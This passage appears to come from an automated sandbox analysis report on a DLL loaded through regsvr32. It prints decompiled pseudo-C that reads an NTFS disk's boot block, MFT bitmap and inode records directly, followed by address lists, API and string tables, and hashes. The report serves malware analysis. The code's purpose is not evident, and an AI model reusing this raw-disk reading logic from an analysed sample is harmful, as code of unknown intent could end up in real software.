				E00000001180004968(_t423, r12d, _t767[0xa], _t856, _t728, _t772, L"  BytesPerMftRecord: %I64u");
				r8d = 0;
				 *(_t770 + 0x20) = _t767[0xc];
				E00000001180004968(_t423, r12d, _t767[0xc], _t856, _t728, _t772, L"  ClustersPerIndexRecord: %I64u");
				 *(_t770 + 0x20) =  *(_t763 + 0x15) & 0x000000ff;
				r8d = 0;
				E00000001180004968(_t423, r12d, _t767[0xc], _t856, _t728, _t772, L"  MediaType: %X");
				r8d = 0;
				 *(_t770 + 0x20) =  *((intOrPtr*)(_t763 + 0x48));
				_t347 = E00000001180004968(_t423, r12d,  *((intOrPtr*)(_t763 + 0x48)), _t856, _t728, _t772, L"  VolumeSerialNumber: %I64X");
				r8d = _t767[0xa];
				_t348 = _t347 / _t767[0xa];
				 *(_t760 + 0x110) = _t767[2] *  *_t767;
				 *(_t767 - 0x40) = _t847;
				 *(_t767 - 0x48) = _t348;
				 *(_t767 - 0x44) = _t348;
				_t559 = _t767 - 0x58;
				 *(_t770 + 0x20) = _t559;
				if (ReadFile(??, ??, ??, ??, ??) == 0) goto 0x80012145;
				_t645 = _t767[0xa];
				if (_t559 != _t645) goto 0x80012145;
				 *(_t770 + 0x20) = _t645;
				if (E00000001180012428(_t423, __rbx, _t859, _t760, _t763, _t767, _t767, _t763, _t841) == 0) goto 0x800121a9;
				_t774 = _t767;
				 *(_t770 + 0x58) = _t767[0xa];
				r9d = 0;
				 *(_t770 + 0x50) = _t763;
				 *((long long*)(_t770 + 0x48)) = _t767 - 0x80;
				 *(_t767 - 0x78) = _t847;
				 *((long long*)(_t770 + 0x40)) = _t770 + 0x78;
				 *(_t767 - 0x68) = _t847;
				 *((long long*)(_t770 + 0x38)) = _t767 - 0x78;
				 *(_t770 + 0x30) = _t767 - 0x68;
				 *(_t770 + 0x28) = _t847;
				 *(_t770 + 0x20) = _t847;
				 *(_t767 - 0x80) = _t847;
				 *(_t770 + 0x78) = _t847;
				if (E0000000118001255C(_t423, _t482, _t614, _t859, _t760, _t774, _t763, _t836) == 0) goto 0x80012110;
				_t565 =  *(_t767 - 0x68);
				 *((long long*)(_t767 - 0x30)) = _t565;
				if (_t565 == 0) goto 0x80012110;
				_t566 =  *(_t767 - 0x78);
				if (_t566 == 0) goto 0x80012110;
				_t615 =  *(_t770 + 0x78);
				if (_t615 == 0) goto 0x80012110;
				_t842 =  *(_t767 - 0x80);
				if (_t842 == 0) goto 0x8001210a;
				r8d = 0;
				 *(_t770 + 0x28) = _t842;
				 *(_t770 + 0x20) = _t566;
				_t108 = _t774 + 6; // 0x6
				E00000001180004968(_t423, _t108, _t566, _t856, _t760, _t774, L"MftDataBytes = %I64u, MftBitmapBytes = %I64u");
				r8d = 0;
				_t109 = _t774 + 6; // 0x6
				E00000001180004968(_t423, _t109, _t566, _t856, _t760, _t774, L"Reading $MFT::$BITMAP into memory");
				_t732 = _t615;
				if ( *_t732 == 0xffffffff) goto 0x80011a02;
				_t570 = ( *((intOrPtr*)(_t732 + 8)) - _t847) * _t767[2] *  *_t767;
				_t776 =  *((intOrPtr*)(_t732 + 8));
				if ( *((intOrPtr*)(_t732 + 0x10)) != 0) goto 0x800119e8;
				_t652 =  <  ? _t842 : _t847 + _t570;
				0x80026bf8();
				 *(_t767 - 0x60) = _t570;
				if (_t570 != 0) goto 0x80011a61;
				r8d = 0;
				_t115 = _t776 + 2; // 0x2
				E00000001180004968(_t423, _t115, _t570, _t856,  *((intOrPtr*)(_t732 + 0x10)),  *((intOrPtr*)(_t732 + 8)), L"Error: malloc() returned NULL.");
				E00000001180053D58(_t615, _t763, _t763);
				_t357 = E0000000118000ADC0(_t615,  *_t859,  *(_t760 + 0x120));
				 *(_t760 + 0x120) =  *(_t760 + 0x120) & 0x00000000;
				goto 0x800121b1;
				_t777 = _t842;
				E000000011800164C0(_t357, 0, _t570,  *(_t760 + 0x120), _t777);
				 *(_t770 + 0x68) =  *(_t770 + 0x68) & 0x00000000;
				 *(_t770 + 0x70) =  *(_t770 + 0x70) & 0x00000000;
				r8d = 0;
				_t123 = _t777 + 6; // 0x6
				E00000001180004968(_t423, _t123, _t570, _t856,  *(_t760 + 0x120), _t777, L"Reading $MFT::$BITMAP into memory");
				_t658 =  *_t615;
				if (_t658 == 0xffffffff) goto 0x80011b97;
				r8d = 0;
				 *(_t770 + 0x30) =  *(_t615 + 8) -  *(_t770 + 0x68);
				 *(_t770 + 0x28) =  *(_t770 + 0x70);
				 *(_t770 + 0x20) = _t658;
				_t130 = _t777 + 6; // 0x6
				_t360 = E00000001180004968(_t423, _t130,  *(_t770 + 0x70), _t856,  *(_t760 + 0x120), _t777, L"  Extent Lcn=%I64u, RealVcn=%I64u, Size=%I64u");
				 *(_t767 - 0x40) =  *(_t767 - 0x40) & 0x00000000;
				r8d = 0;
				 *(_t767 - 0x48) = _t360;
				 *(_t767 - 0x44) = _t360;
				_t736 =  *(_t615 + 8) -  *(_t770 + 0x68);
				 *(_t770 + 0x30) =  *_t615;
				 *(_t770 + 0x28) = _t736 * _t767[2] *  *_t767;
				 *(_t770 + 0x20) = _t736;
				_t142 = _t777 + 6; // 0x6
				E00000001180004968(_t423, _t142,  *_t615, _t856, _t736, _t777, L"    Reading %I64u clusters (%I64u bytes) from LCN=%I64u");
				r8d =  *(_t615 + 8);
				_t579 = _t767 - 0x58;
				r8d = r8d -  *(_t770 + 0x68);
				r8d = r8d *  *_t767;
				r8d = r8d * _t767[2];
				 *(_t770 + 0x20) = _t579;
				if (ReadFile(??, ??, ??, ??, ??) == 0) goto 0x80011ce2;
				_t742 =  *(_t615 + 8) -  *(_t770 + 0x68);
				if (_t579 != _t742 * _t767[2] *  *_t767) goto 0x80011ce2;
				 *(_t770 + 0x70) =  *(_t770 + 0x70) + _t742;
				 *(_t770 + 0x68) =  *(_t615 + 8);
				if ( *((intOrPtr*)(_t615 + 0x10)) != 0) goto 0x80011a90;
				_t581 =  *(_t767 - 0x78);
				_t850 =  <=  ? _t842 * 8 : _t581;
				 *(_t767 - 0x18) = _t850;
				0x80026bf8();
				 *(_t770 + 0x68) = _t581;
				_t843 = _t581;
				if (_t581 == 0) goto 0x80011a27;
				_t582 =  *(_t760 + 0x120);
				 *_t843 = _t582;
				if (_t850 - 1 <= 0) goto 0x80011c17;
				_t174 = _t843 + 8; // 0x8
				_t670 = _t174;
				E000000011800164C0( *(_t770 + 0x60) / _t767[0xa], 0, _t670, _t742, _t850 * 0x00000008 - 0x00000008 & 0xfffffff8);
				_t618 = _t670;
				 *(_t770 + 0x70) = _t670;
				 *(_t767 - 0x38) = _t670;
				 *(_t767 - 0x70) = _t670;
				 *(_t760 + 0x218) = _t670;
				 *(_t760 + 0x210) = _t670;
				E0000000118005423C(_t618,  &(_t767[0x3001c]), _t760, _t763);
				 *((long long*)(_t767 - 8)) = _t767[0x3001c] * 0x3e8 + _t582;
				if (_t742 - _t850 >= 0) goto 0x80012031;
				_t780 =  *(_t767 - 0x60);
				if (( *(_t767 + _t742 + 0xc0080) &  *((_t742 >> 3) + _t780)) == 0) goto 0x80011c8d;
				 *(_t760 + 0x210) =  *(_t760 + 0x210) + 1;
				if (_t742 + 1 - _t850 < 0) goto 0x80011c6c;
				r12d = 1;
				if ( *((intOrPtr*)( *((intOrPtr*)(_t760 + 8)))) != 0) goto 0x8001202c;
				if (( *(_t767 + _t843 + 0xc0080) &  *((_t843 >> 3) + _t780)) != 0) goto 0x80011d2e;
				r8d = 0;
				 *(_t770 + 0x20) = _t843;
				_t199 = _t780 + 6; // 0x6
				E00000001180004968(0, _t199, _t843 >> 3, _t856, _t742 + 1, _t780, L"Inode %I64u is not in use.");
				goto 0x8001201b;
				_t371 = GetLastError();
				_t781 =  &(_t767[0x30024]);
				r9d = 0x200;
				E0000000118000EFAC(_t371, _t618, _t781, L"Inode %I64u is not in use.");
				r8d = 0;
				_t588 =  &(_t767[0x30024]);
				 *(_t770 + 0x20) = _t588;
				_t203 =  &(_t781[0]); // 0x2
				E00000001180004968(0, _t203, _t588, _t856, _t742 + 1, _t781, L"  %s");
				E00000001180053D58(_t618, _t850, _t763);
				goto 0x80011a3d;
				 *(_t760 + 0x218) =  *(_t760 + 0x218) + 1;
				if (_t843 - _t618 < 0) goto 0x80011f70;
				E0000000118000EE6C(_t760);
				_t619 =  *((intOrPtr*)(_t767 - 0x30));
				 *(_t767 - 0x10) = _t843;
				_t681 = _t588 + _t843;
				_t782 =  *(_t767 - 0x80) * 8;
				_t783 =  <=  ? _t681 : _t782;
				 *(_t770 + 0x78) =  <=  ? _t681 : _t782;
				if (_t619 == 0) goto 0x8001202c;
				_t851 =  *(_t767 - 0x70);
				_t860 =  *(_t767 - 0x38);
				_t837 = _t767[2];
				_t840 =  *_t767;
				_t594 = ( *((intOrPtr*)(_t619 + 8)) - _t860 + _t851) * _t837 * _t840;
				 *(_t770 + 0x70) = _t594;
				if (_t594 - _t843 > 0) goto 0x80011e39;
				r8d = 0;
				E00000001180004968(0, 6, _t594, _t856, _t760,  <=  ? _t681 : _t782, L"Skipping to next extent");
				_t683 =  *((intOrPtr*)(_t619 + 8));
				if ( *_t619 == 0xffffffff) goto 0x80011de5;
				_t852 = _t851 + _t683 - _t860;
				_t620 =  *((intOrPtr*)(_t619 + 0x10));
				_t745 =  *_t620;
				if (_t620 == 0) goto 0x80011dfa;
				if (_t745 == 0xffffffff) goto 0x80011dbe;
				 *(_t767 - 0x38) = _t683;
				 *(_t770 + 0x30) =  *((intOrPtr*)(_t620 + 8)) - _t683;
				r8d = 0;
				 *(_t770 + 0x28) = _t852;
				 *(_t770 + 0x20) = _t745;
				 *(_t767 - 0x70) = _t852;
				 *((long long*)(_t767 - 0x30)) = _t620;
				_t380 = E00000001180004968(0, 6,  *((intOrPtr*)(_t620 + 8)) - _t683, _t856, _t745,  <=  ? _t681 : _t782, L"  Extent Lcn=%I64u, RealVcn=%I64u, Size=%I64u");
				goto 0x80011d8c;
				_t764 =  *(_t767 - 0x28);
				_t853 =  *(_t767 - 0x18);
				if (_t620 == 0) goto 0x8001202c;
				_t747 =  <  ?  *(_t770 + 0x78) :  *(_t770 + 0x70);
				 *(_t767 - 0x40) =  *(_t767 - 0x40) & 0x00000000;
				 *(_t770 + 0x70) = _t747;
				_t785 = _t747 - _t843;
				 *(_t770 + 0x78) = _t785;
				 *(_t767 - 0x48) = _t380;
				_t417 = 6 - r12d;
				 *(_t767 - 0x44) = 0;
				_t429 = _t417 * r9d;
				 *(_t770 + 0x30) = _t843 * _t767[0xa] + ( *_t620 -  *(_t767 - 0x70)) * _t837 * _t840;
				 *(_t770 + 0x28) = _t417 * r9d;
				 *(_t770 + 0x20) = _t785;
				r8d = 0;
				_t256 = _t785 + 6; // 0x6
				E00000001180004968(_t417 * r9d, _t256, _t843 * _t767[0xa] + ( *_t620 -  *(_t767 - 0x70)) * _t837 * _t840, _t856, _t747, _t785, L"Reading block of %I64u Inodes from MFT into memory, %u bytes from LCN=%I64u");
				_t602 = _t767 - 0x58;
				_t260 = _t770 + 0x60; // 0x61
				 *(_t770 + 0x20) = _t602;
				r8d = _t417 * _t767[0xa];
				if (ReadFile(??, ??, ??, ??, ??) == 0) goto 0x80011f0d;
				if (_t602 ==  *(_t770 + 0x78) * _t767[0xa]) goto 0x80011f74;
				_t385 = GetLastError();
				_t786 =  &(_t767[0x30024]);
				r9d = 0x200;
				E0000000118000EFAC(_t385, _t620, _t786, _t260);
				 *(_t770 + 0x30) =  &(_t767[0x30024]);
				r8d = 0;
				_t604 =  *(_t770 + 0x70) - 1;
				 *(_t770 + 0x28) = _t604;
				 *(_t770 + 0x20) = _t843;
				_t271 =  &(_t786[0]); // 0x2
				E00000001180004968(_t417 * r9d, _t271, _t604, _t856, _t767[0xa], _t786, L"Error while reading Inodes %I64u to %I64u: %s");
				E00000001180053D58(_t620, _t764, _t764);
				goto 0x80011a40;
				 *(_t770 + 0x20) = _t767[0xa];
				_t622 = _t843 -  *(_t767 - 0x10);
				if (E00000001180012428(_t417 * r9d, _t622,  *((intOrPtr*)(_t767 - 0x20)), _t760, _t764, _t767, _t767, _t622 * _t767[0xa] + _t764, _t843) != 0) goto 0x80011fbe;
				 *(_t770 + 0x28) = _t853;
				r8d = 0;
				 *(_t770 + 0x20) = _t843;
				_t278 = _t604 + 2; // 0x2
				E00000001180004968(_t417 * r9d, _t278, _t604, _t856, _t760, _t767, L"The error occurred while processing Inode %I64u (max %I64u)");
				goto 0x80012016;
				_t605 = _t767[0xa];
				 *(_t770 + 0x58) = _t605;
				 *(_t770 + 0x50) = _t622 * _t605 + _t764;
				 *((long long*)(_t770 + 0x48)) = _t767 - 0x80;
				_t285 = _t770 + 0x78; // 0x79
				 *((long long*)(_t770 + 0x40)) = _t285;
				 *((long long*)(_t770 + 0x38)) = _t767 - 0x78;
				_t609 = _t767 - 0x68;
				 *(_t770 + 0x30) = _t609;
				 *(_t770 + 0x28) = _t853;
				 *(_t770 + 0x20) = _t843;
				E0000000118001255C(_t417 * r9d, 6, _t622 * _t605 + _t764,  *((intOrPtr*)(_t767 - 0x20)), _t760, _t767,  *(_t770 + 0x68), _t837 * _t840);
				_t625 =  *(_t770 + 0x70);
				if (_t843 + 1 - _t853 >= 0) goto 0x8001202c;
				_t789 =  *(_t767 - 0x60);
				goto 0x80011c9b;
				_t845 =  *(_t770 + 0x68);
				E0000000118005423C(_t625,  &(_t767[0x3001c]), _t760, _t764);
				if (_t609 + _t767[0x3001c] * 0x3e8 -  *((intOrPtr*)(_t767 - 8)) <= 0) goto 0x80012085;
				r8d = 0;
				_t304 = _t789 + 2; // 0x2
				 *(_t770 + 0x20) = _t853 * 0x3e8;
				E00000001180004968(_t417 * r9d, _t304, _t853 * 0x3e8, _t856, _t760,  *(_t767 - 0x60), L"  Analysis speed: %I64u items per second");
				E00000001180053D58(_t625, _t764, _t764);
				E00000001180053D58(_t625,  *(_t767 - 0x60), _t764);
				_t612 =  *((intOrPtr*)(_t760 + 8));
				if ( *_t612 == 0) goto 0x800120c3;
				E00000001180053D58(_t625, _t845, _t764);
				E0000000118000ADC0(_t625,  *((intOrPtr*)( *((intOrPtr*)(_t767 - 0x20)))),  *(_t760 + 0x120));
				 *(_t760 + 0x120) = _t625;
				goto 0x800121b1;
				E0000000118000F444( *(_t760 + 0x120));
				goto 0x800120f3;
				_t713 =  *((intOrPtr*)(_t612 + 0x68));
				_t756 =  ==  ? _t625 :  *((intOrPtr*)(_t845 + _t713 * 8));
				 *((long long*)(_t612 + 0x70)) =  ==  ? _t625 :  *((intOrPtr*)(_t845 + _t713 * 8));
				E0000000118000F3BC(_t612);
				if (_t612 != 0) goto 0x800120d4;
				E00000001180053D58(_t625, _t845, _t764);
				goto 0x800121b3;
				r12d = 2;
				r8d = 0;
				E00000001180004968(_t429, r12d, _t612, _t856, _t612,  *(_t767 - 0x60), L"Fatal error, cannot process this disk.");
				E00000001180053D58(_t625, _t764, _t764);
				E0000000118000ADC0(_t625,  *((intOrPtr*)( *((intOrPtr*)(_t767 - 0x20)))),  *(_t760 + 0x120));
				 *(_t760 + 0x120) = _t853;
				goto 0x800121b1;
				_t407 = GetLastError();
				r9d = 0x200;
				E0000000118000EFAC(_t407, _t625,  &(_t767[0x30024]), L"Fatal error, cannot process this disk.");
				goto 0x8001218f;
				_t409 = GetLastError();
				r9d = 0x200;
				E0000000118000EFAC(_t409, _t625,  &(_t767[0x30024]), L"Error while reading first MFT record: %s");
				r8d = 0;
				 *(_t770 + 0x20) =  &(_t767[0x30024]);
				E00000001180004968(_t429, r12d,  &(_t767[0x30024]), _t856,  *(_t760 + 0x120),  &(_t767[0x30024]), L"Error while reading bootblock: %s");
				E00000001180053D58(_t625, _t764, _t764);
				return E000000011800149A0(0, _t429, _t767[0x30124] ^ _t770);
			}


























































































                                                                                                        0x180011580
                                                                                                        0x180011580
                                                                                                        0x180011580
                                                                                                        0x180011590
                                                                                                        0x18001159d
                                                                                                        0x1800115a2
                                                                                                        0x1800115a5
                                                                                                        0x1800115ac
                                                                                                        0x1800115af
                                                                                                        0x1800115bb
                                                                                                        0x1800115bf
                                                                                                        0x1800115c2
                                                                                                        0x1800115cc
                                                                                                        0x1800115cf
                                                                                                        0x1800115d9
                                                                                                        0x1800115d9
                                                                                                        0x1800115dd
                                                                                                        0x1800115e7
                                                                                                        0x1800115ea
                                                                                                        0x1800115ef
                                                                                                        0x1800115f2
                                                                                                        0x1800115f6
                                                                                                        0x1800115fc
                                                                                                        0x180011605
                                                                                                        0x18001160e
                                                                                                        0x180011613
                                                                                                        0x180011625
                                                                                                        0x18001162a
                                                                                                        0x180011630
                                                                                                        0x180011637
                                                                                                        0x180011643
                                                                                                        0x180011651
                                                                                                        0x180011665
                                                                                                        0x180011667
                                                                                                        0x18001166e
                                                                                                        0x180011677
                                                                                                        0x18001167c
                                                                                                        0x18001168c
                                                                                                        0x180011691
                                                                                                        0x180011696
                                                                                                        0x18001169a
                                                                                                        0x18001169e
                                                                                                        0x1800116a2
                                                                                                        0x1800116a6
                                                                                                        0x1800116ac
                                                                                                        0x1800116b0
                                                                                                        0x1800116b4
                                                                                                        0x1800116b8
                                                                                                        0x1800116c2
                                                                                                        0x1800116c5
                                                                                                        0x1800116c8
                                                                                                        0x1800116cc
                                                                                                        0x1800116d5
                                                                                                        0x1800116d9
                                                                                                        0x1800116e0
                                                                                                        0x1800116eb
                                                                                                        0x1800116f5
                                                                                                        0x1800116ff
                                                                                                        0x18001170d
                                                                                                        0x180011715
                                                                                                        0x180011725
                                                                                                        0x180011728
                                                                                                        0x180011733
                                                                                                        0x180011743
                                                                                                        0x180011746
                                                                                                        0x180011751
                                                                                                        0x180011761
                                                                                                        0x180011764
                                                                                                        0x18001176f
                                                                                                        0x18001177f
                                                                                                        0x180011782
                                                                                                        0x18001178d
                                                                                                        0x18001179d
                                                                                                        0x1800117a0
                                                                                                        0x1800117aa
                                                                                                        0x1800117ba
                                                                                                        0x1800117bd
                                                                                                        0x1800117c7
                                                                                                        0x1800117d7
                                                                                                        0x1800117da
                                                                                                        0x1800117e5
                                                                                                        0x1800117f5
                                                                                                        0x1800117f8
                                                                                                        0x180011803
                                                                                                        0x180011813
                                                                                                        0x180011816
                                                                                                        0x180011821
                                                                                                        0x180011831
                                                                                                        0x180011834
                                                                                                        0x18001183f
                                                                                                        0x18001184f
                                                                                                        0x180011853
                                                                                                        0x18001185c
                                                                                                        0x18001186c
                                                                                                        0x18001186f
                                                                                                        0x18001187a
                                                                                                        0x18001188d
                                                                                                        0x180011893
                                                                                                        0x18001189e
                                                                                                        0x1800118ae
                                                                                                        0x1800118b7
                                                                                                        0x1800118be
                                                                                                        0x1800118c1
                                                                                                        0x1800118c5
                                                                                                        0x1800118d2
                                                                                                        0x1800118dc
                                                                                                        0x1800118e3
                                                                                                        0x1800118e9
                                                                                                        0x180011902
                                                                                                        0x18001190c
                                                                                                        0x180011910
                                                                                                        0x180011915
                                                                                                        0x180011918
                                                                                                        0x180011921
                                                                                                        0x18001192e
                                                                                                        0x180011932
                                                                                                        0x18001193e
                                                                                                        0x180011942
                                                                                                        0x18001194b
                                                                                                        0x180011950
                                                                                                        0x180011955
                                                                                                        0x18001195a
                                                                                                        0x18001195e
                                                                                                        0x18001196a
                                                                                                        0x180011970
                                                                                                        0x180011974
                                                                                                        0x18001197b
                                                                                                        0x180011981
                                                                                                        0x180011988
                                                                                                        0x18001198e
                                                                                                        0x180011996
                                                                                                        0x18001199c
                                                                                                        0x1800119a3
                                                                                                        0x1800119a9
                                                                                                        0x1800119ac
                                                                                                        0x1800119b8
                                                                                                        0x1800119c0
                                                                                                        0x1800119c4
                                                                                                        0x1800119c9
                                                                                                        0x1800119d6
                                                                                                        0x1800119da
                                                                                                        0x1800119e5
                                                                                                        0x1800119ec
                                                                                                        0x1800119fa
                                                                                                        0x180011a02
                                                                                                        0x180011a0d
                                                                                                        0x180011a12
                                                                                                        0x180011a16
                                                                                                        0x180011a1b
                                                                                                        0x180011a25
                                                                                                        0x180011a27
                                                                                                        0x180011a34
                                                                                                        0x180011a38
                                                                                                        0x180011a40
                                                                                                        0x180011a4f
                                                                                                        0x180011a54
                                                                                                        0x180011a5c
                                                                                                        0x180011a61
                                                                                                        0x180011a69
                                                                                                        0x180011a6e
                                                                                                        0x180011a7b
                                                                                                        0x180011a81
                                                                                                        0x180011a87
                                                                                                        0x180011a8b
                                                                                                        0x180011a90
                                                                                                        0x180011a97
                                                                                                        0x180011aad
                                                                                                        0x180011ab0
                                                                                                        0x180011aba
                                                                                                        0x180011abf
                                                                                                        0x180011ac4
                                                                                                        0x180011acb
                                                                                                        0x180011adf
                                                                                                        0x180011ae4
                                                                                                        0x180011aec
                                                                                                        0x180011af3
                                                                                                        0x180011afa
                                                                                                        0x180011b0a
                                                                                                        0x180011b14
                                                                                                        0x180011b1c
                                                                                                        0x180011b21
                                                                                                        0x180011b25
                                                                                                        0x180011b2a
                                                                                                        0x180011b2e
                                                                                                        0x180011b32
                                                                                                        0x180011b3c
                                                                                                        0x180011b4b
                                                                                                        0x180011b59
                                                                                                        0x180011b69
                                                                                                        0x180011b73
                                                                                                        0x180011b8c
                                                                                                        0x180011b92
                                                                                                        0x180011b9f
                                                                                                        0x180011ba7
                                                                                                        0x180011bad
                                                                                                        0x180011bc5
                                                                                                        0x180011bc9
                                                                                                        0x180011bd8
                                                                                                        0x180011bdf
                                                                                                        0x180011be4
                                                                                                        0x180011bea
                                                                                                        0x180011bf0
                                                                                                        0x180011bf7
                                                                                                        0x180011bff
                                                                                                        0x180011c0b
                                                                                                        0x180011c0b
                                                                                                        0x180011c10
                                                                                                        0x180011c17
                                                                                                        0x180011c1a
                                                                                                        0x180011c1f
                                                                                                        0x180011c23
                                                                                                        0x180011c27
                                                                                                        0x180011c2e
                                                                                                        0x180011c3c
                                                                                                        0x180011c5b
                                                                                                        0x180011c62
                                                                                                        0x180011c68
                                                                                                        0x180011c84
                                                                                                        0x180011c86
                                                                                                        0x180011c93
                                                                                                        0x180011c95
                                                                                                        0x180011ca2
                                                                                                        0x180011cc0
                                                                                                        0x180011cc2
                                                                                                        0x180011cc5
                                                                                                        0x180011cd4
                                                                                                        0x180011cd8
                                                                                                        0x180011cdd
                                                                                                        0x180011ce2
                                                                                                        0x180011ceb
                                                                                                        0x180011cf4
                                                                                                        0x180011cfa
                                                                                                        0x180011cff
                                                                                                        0x180011d02
                                                                                                        0x180011d10
                                                                                                        0x180011d18
                                                                                                        0x180011d1c
                                                                                                        0x180011d24
                                                                                                        0x180011d29
                                                                                                        0x180011d2e
                                                                                                        0x180011d38
                                                                                                        0x180011d44
                                                                                                        0x180011d4f
                                                                                                        0x180011d5b
                                                                                                        0x180011d5f
                                                                                                        0x180011d67
                                                                                                        0x180011d72
                                                                                                        0x180011d76
                                                                                                        0x180011d7e
                                                                                                        0x180011d84
                                                                                                        0x180011d88
                                                                                                        0x180011d92
                                                                                                        0x180011d99
                                                                                                        0x180011da4
                                                                                                        0x180011dab
                                                                                                        0x180011db3
                                                                                                        0x180011dc5
                                                                                                        0x180011dcd
                                                                                                        0x180011dd6
                                                                                                        0x180011dda
                                                                                                        0x180011de2
                                                                                                        0x180011de5
                                                                                                        0x180011dec
                                                                                                        0x180011df2
                                                                                                        0x180011df8
                                                                                                        0x180011e08
                                                                                                        0x180011e0c
                                                                                                        0x180011e11
                                                                                                        0x180011e14
                                                                                                        0x180011e1c
                                                                                                        0x180011e23
                                                                                                        0x180011e27
                                                                                                        0x180011e2b
                                                                                                        0x180011e34
                                                                                                        0x180011e39
                                                                                                        0x180011e41
                                                                                                        0x180011e48
                                                                                                        0x180011e5e
                                                                                                        0x180011e6a
                                                                                                        0x180011e82
                                                                                                        0x180011e87
                                                                                                        0x180011e8d
                                                                                                        0x180011e94
                                                                                                        0x180011e9a
                                                                                                        0x180011ea4
                                                                                                        0x180011ea9
                                                                                                        0x180011eb4
                                                                                                        0x180011eb9
                                                                                                        0x180011ec0
                                                                                                        0x180011ec5
                                                                                                        0x180011ec8
                                                                                                        0x180011ecc
                                                                                                        0x180011ed5
                                                                                                        0x180011edd
                                                                                                        0x180011ee5
                                                                                                        0x180011eea
                                                                                                        0x180011ef5
                                                                                                        0x180011f0b
                                                                                                        0x180011f0d
                                                                                                        0x180011f16
                                                                                                        0x180011f1f
                                                                                                        0x180011f25
                                                                                                        0x180011f36
                                                                                                        0x180011f42
                                                                                                        0x180011f45
                                                                                                        0x180011f48
                                                                                                        0x180011f50
                                                                                                        0x180011f55
                                                                                                        0x180011f59
                                                                                                        0x180011f61
                                                                                                        0x180011f6b
                                                                                                        0x180011f74
                                                                                                        0x180011f83
                                                                                                        0x180011f9b
                                                                                                        0x180011f9d
                                                                                                        0x180011fa9
                                                                                                        0x180011fac
                                                                                                        0x180011fb1
                                                                                                        0x180011fb7
                                                                                                        0x180011fbc
                                                                                                        0x180011fbe
                                                                                                        0x180011fce
                                                                                                        0x180011fe1
                                                                                                        0x180011fe6
                                                                                                        0x180011feb
                                                                                                        0x180011ff0
                                                                                                        0x180011ff9
                                                                                                        0x180011ffe
                                                                                                        0x180012002
                                                                                                        0x180012007
                                                                                                        0x18001200c
                                                                                                        0x180012011
                                                                                                        0x180012016
                                                                                                        0x180012021
                                                                                                        0x180012023
                                                                                                        0x180012027
                                                                                                        0x18001202c
                                                                                                        0x180012038
                                                                                                        0x180012059
                                                                                                        0x180012067
                                                                                                        0x180012074
                                                                                                        0x18001207b
                                                                                                        0x180012080
                                                                                                        0x180012088
                                                                                                        0x180012091
                                                                                                        0x180012096
                                                                                                        0x18001209e
                                                                                                        0x1800120a3
                                                                                                        0x1800120b2
                                                                                                        0x1800120b7
                                                                                                        0x1800120be
                                                                                                        0x1800120cd
                                                                                                        0x1800120d2
                                                                                                        0x1800120d4
                                                                                                        0x1800120e0
                                                                                                        0x1800120e4
                                                                                                        0x1800120ee
                                                                                                        0x1800120f6
                                                                                                        0x1800120fb
                                                                                                        0x180012105
                                                                                                        0x18001210a
                                                                                                        0x180012117
                                                                                                        0x180012120
                                                                                                        0x180012128
                                                                                                        0x180012137
                                                                                                        0x18001213c
                                                                                                        0x180012143
                                                                                                        0x180012145
                                                                                                        0x180012157
                                                                                                        0x18001215d
                                                                                                        0x180012169
                                                                                                        0x18001216b
                                                                                                        0x18001217d
                                                                                                        0x180012183
                                                                                                        0x180012196
                                                                                                        0x18001219c
                                                                                                        0x1800121a4
                                                                                                        0x1800121ac
                                                                                                        0x1800121dc

                                                                                                        APIs
                                                                                                        • ReadFile.KERNEL32(00000000,00000003,00000000,00000000,?,?,00000000,00000001800060AD), ref: 000000018001163B
                                                                                                          • Part of subcall function 0000000180004968: swprintf.LEGACY_STDIO_DEFINITIONS ref: 00000001800049A8
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: FileReadswprintf
                                                                                                        • String ID: Reading %I64u clusters (%I64u bytes) from LCN=%I64u$ %s$ Analysis speed: %I64u items per second$ BytesPerMftRecord: %I64u$ BytesPerSector: %I64u$ ClustersPerIndexRecord: %I64u$ Disk cookie: %I64X$ Extent Lcn=%I64u, RealVcn=%I64u, Size=%I64u$ MediaType: %X$ Mft2StartLcn: %I64u$ MftStartLcn: %I64u$ NumberOfHeads: %lu$ SectorsPerCluster: %I64u$ SectorsPerTrack: %lu$ TotalSectors: %I64u$ VolumeSerialNumber: %I64X$Error while reading Inodes %I64u to %I64u: %s$Error while reading bootblock: %s$Error while reading first MFT record: %s$Error: malloc() returned NULL.$Fatal error, cannot process this disk.$Inode %I64u is not in use.$MftDataBytes = %I64u, MftBitmapBytes = %I64u$NTFS $Reading $MFT::$BITMAP into memory$Reading block of %I64u Inodes from MFT into memory, %u bytes from LCN=%I64u$Skipping to next extent$The error occurred while processing Inode %I64u (max %I64u)$This is an NTFS disk.$This is not an NTFS disk (different cookie).
                                                                                                        • API String ID: 3057668101-211382578
                                                                                                        • Opcode ID: ecf41c91901112165ae9234d5e486bf7a29e70dddb2ea8da7882bba11dfdf04a
                                                                                                        • Instruction ID: 66b9773bdf88c58b8ebeee6dce93df98b607d7e6cfcd66767a8e79ce18736f00
                                                                                                        • Opcode Fuzzy Hash: ecf41c91901112165ae9234d5e486bf7a29e70dddb2ea8da7882bba11dfdf04a
                                                                                                        • Instruction Fuzzy Hash: B1725C32200B888AEB95DF65E8417DE73A4F78D7C8F458216BA8D5BB59DF38C259C700
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0000000180001850 Relevance: 51.3, APIs: 3, Strings: 26, Instructions: 550COMMONCrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 61%
                                                                                                        			E00000001180001850(long long __rbx, long long __rdi, long long __rsi) {
				void* _t177;
				intOrPtr _t192;
				void* _t195;
				intOrPtr _t204;
				intOrPtr _t210;
				intOrPtr _t224;
				void* _t235;
				void* _t240;
				void* _t257;
				void* _t273;
				void* _t294;
				void* _t296;
				void* _t335;
